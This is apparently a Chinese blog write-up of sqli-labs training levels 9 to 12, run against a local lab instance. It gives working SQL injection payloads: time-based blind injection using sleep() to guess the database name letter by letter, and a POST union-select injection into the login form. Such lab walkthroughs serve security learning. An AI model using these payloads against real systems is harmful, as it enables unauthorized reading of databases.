sqli-labs 9-12关

你的名字 2023-07-11 11:25 22阅读 0赞

### 第九关 ###

这个只要输上id就会显示you are in…，没有报错，没有其他的显示，需要借助另外一种新的注入方法，时间盲注。  
时间盲注的原理就是利用sleep(n)函数，让数据库查询时睡眠上几秒。

http://localhost/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

判断返回的使用数据库的首字母是否为’s’，是的话返回1，不是的话返回sleep(5)，通过浏览器的响应时间就可以判断是否猜对了。当然大部分时间都是猜错的，每次猜错都耗费5秒未必太浪费时间，改一下sql语句。

http://localhost/Less-9/?id=1' and ascii(substr(database(),1,1))=115 and sleep(5)--+

这样只有猜对了才会睡眠5秒钟。

### 第十关 ###

与第九关唯一不同的是单引号变成了双引号。

### 第十一关 ###

此关卡是一个post注入，参数不是在url里，提交的参数有这三个

uname=uname&passwd=passwd&submit=Submit

回显sql语句,观察一下是否可以注入

execute sql:SELECT username, password FROM users WHERE username='admin' and password='admin' LIMIT 0,1

这里只是匹配用户名和密码的匹配，两个同时对的时候，数据库里就会显示出信息，PHP里也是这样判断的，不为空即可进行下面操作。

$result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)

![less.png][]  
这样就可以利用前端的回显来获取数据库里的信息了。  
构造语句

uname=a' union select 1,version() --+&passwd=a&submit=Submit

这样就可以获取到信息了。

### 第十二关 ###

与第十一关基本一样，构造变成了("")，其余思路相同。

欢迎关注公众号，一起交流

![公众号二维码.jpg][.jpg]

[less.png]: https://imgconvert.csdnimg.cn/aHR0cDovL3d3MS5zaW5haW1nLmNuL2xhcmdlLzAwNkNVNmxSbHkxZ2NqMTE3ZzNyN2ozMGo0MDgzcTZiLmpwZw?x-oss-process=image/format,png
[.jpg]: https://imgconvert.csdnimg.cn/aHR0cDovL3d3MS5zaW5haW1nLmNuL2xhcmdlLzAwNkNVNmxSbHkxZ2NqMjNzcHJ2MWozMDc2MDc2ZGdiLmpwZw?x-oss-process=image/format,png#pic_center

发表评论取消回复

表情：

评论列表（有 0 条评论，22人围观）

还没有评论，来说两句吧...

相关阅读

相关 LeetCode-912. 排序数组

目录题目思路代码实现题目来源 [912. 排序数组][912.] 题目思路快速排序原理：快速排序算法有两个核心点，分

偏执的太偏执、/ 2024年03月23日 13:35/ 0 赞/ 131 阅读

相关网络安全-sqlmap实战之sqlilabs-Less7

目录类型 \-dbs枚举数据库 \--tables枚举数据库表 \--columns枚举列 \--dump枚举数据查看源代码 ----------------

刺骨的言语ヽ痛彻心扉/ 2023年02月21日 06:25/ 0 赞/ 106 阅读

相关网络安全-sqlmap实战之sqlilabs-Less6

目录类型 \-dbs枚举数据库 \--tables枚举数据库表 \--columns枚举列 \--dump枚举数据查看源代码 ----------------

我会带着你远行/ 2023年02月21日 01:57/ 0 赞/ 115 阅读

相关网络安全-sqlmap实战之sqlilabs-Less1

目录类型注入判断 \-u参数 -dbs参数爆数据库 -tables参数爆表 \-columns爆列 -dump爆数据查看源代码查看数据库 --

傷城~/ 2023年02月20日 04:46/ 0 赞/ 117 阅读

相关 LeetCode912. 排序数组【快速排序】

题目难度：中等题目描述： > 给你一个整数数组 nums，请你将该数组升序排列。示例 1： > 输入：nums = \[5,2,3,1\] > 输出：\[1,

淩亂°似流年/ 2023年01月22日 10:49/ 0 赞/ 103 阅读

相关 SqliLabs靶场漏洞环境搭建Docker版

SqliLabs靶场漏洞环境搭建Docker版项目地址 [https://github.com/Audi-1/sqli-labs][https_github.co

今天药忘吃喽~/ 2022年11月27日 07:03/ 0 赞/ 301 阅读

相关 leetcode--912--排序数组

给你一个整数数组 nums，请你将该数组升序排列。示例 1：输入：nums = \[5,2,3,1\] 输出：\[1,2,3,5\] 示例 2：输入：num

怼烎@/ 2022年10月24日 11:55/ 0 赞/ 234 阅读

相关 912. 排序数组（中等）

912. 排序数组题目描述源码方法一：快速排序方法

青旅半醒/ 2022年09月12日 03:53/ 0 赞/ 180 阅读

相关 LeetCode-912. 排序数组

排序数组给你一个整数数组 nums，请你将该数组升序排列。示例 1：输入：nums = [5,2,3,1] 输出：[1,2,3,5] 示例 2

- 日理万妓/ 2022年09月03日 13:14/ 0 赞/ 209 阅读

相关 CF912A Tricky Alchemy

[CF912A Tricky Alchemy][] 题意翻译 Grisha有一些水晶，可以用这些水晶造出一些水晶球。现在他有A个黄水晶，B个蓝水晶。现在他要造出x个

谁践踏了优雅/ 2021年10月01日 01:28/ 0 赞/ 248 阅读